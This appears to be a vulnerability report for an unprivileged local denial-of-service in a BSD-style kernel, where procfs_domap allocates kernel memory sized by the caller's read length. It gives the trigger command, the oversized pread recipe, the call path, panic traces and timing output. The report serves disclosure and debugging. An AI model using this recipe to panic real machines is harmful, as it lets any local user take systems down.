DF-0924 panic signature — unprivileged DoS via attacker-controlled kmalloc size in procfs_domap ========================================================================================= Trigger: ./alloc_dos --starve 4 10 (run as unprivileged user maxx, uid 1001) 4 children each loop pread(fd, buf, 0x7ffffff0, 0) against /proc/self/map -> each call makes procfs_domap kmalloc ~2 GiB (M_SBUF, M_WAITOK|M_ZERO) -> concurrent in-flight allocations exceed M_SBUF ks_limit -> kernel panic from kern_kmalloc.c:706 "panic("%s: malloc limit exceeded", ...)". Path: read(2) -> vn_read -> VOP_READ -> procfs_rw -> procfs_domap -> sbuf_new(sb, NULL, buflen+1, 0) [buflen = uio_offset+uio_resid, up to INT_MAX-1] -> sbuf_newbuf -> kmalloc(~2GiB) [sys/kern/subr_sbuf.c:197] -> panic("sbuf: malloc limit exceeded") [sys/kern/kern_kmalloc.c:706] Run 1 (single-CPU trace, cleaner) — from boot.log before reset: ---------------------------------------------------------------- login: pSECONDARY PANIC ON CPU 0 THREAD 0xfffff8008df48f80 anic: sbuf: malloc limit exceeded cpuid = 4 Trace beginning at frame 0xfffff801183ff598 _kmalloc() at _kmalloc+0xb09 0xffffffff806578c9 _kmalloc() at _kmalloc+0xb09 0xffffffff806578c9 sbuf_new() at sbuf_new+0x66 0xffffffff806a0dc6 procfs_domap() at procfs_domap+0x75 0xffffffff807114a5 procfs_rw() at procfs_rw+0x235 0xffffffff80713065 vop_read() at vop_read+0x57 0xffffffff8070a487 Debugger("panic") CPU4 stopping CPUs: 0x0000002f Stopped at Debugger+0x7c: movb $0,0xbdaf09(%rip) db> Run 2 (4-CPU concurrent panic — interleaved serial but same stack): ------------------------------------------------------------------- login: panic:S ECONDARY PANIC ON CPU 4 THREsAbDu f0:x fmfaflflfo8c0 0l8idm3i1t3 2e0x0c e eded cpuid = 0 Trace beginning at frame 0xfffff801183fb598 _kmalloc() at _kmalloc+0xb09 0xffffffff806578c9 _kmalloc() at _kmalloc+0xb09 0xffffffff806578c9 sbuf_new() at sbuf_new+0x66 0xffffffff806a0dc6 procfs_domap() at procfs_domap+0x75 0xffffffff807114a5 procfs_rw() at procfs_rw+0x235 0xffffffff80713065 vop_read() at vop_read+0x57 0xffffffff8070a487 Debugger("panic") CPU0 stopping CPUs: 0x0000003e stopped Stopped at Debugger+0x7c: movb $0,0xbdaf09(%rip) db> Note on the cleaner timing demonstration (run as `./alloc_dos --time`): ---------------------------------------------------------------------- [time] resid=4096 pread=1421 kernel-side elapsed=0.000057 s [time] resid=0x7ffffff0 pread=1615 kernel-side elapsed=2.532421 s The huge-resid call returns the SAME ~1.5 KB of /proc/self/map content but takes ~44,000x longer because the kernel kmalloc+zero's ~2 GiB up front, then discards almost all of it. This proves the size of the up-front kernel allocation is controlled solely by the caller's read() length — the bug.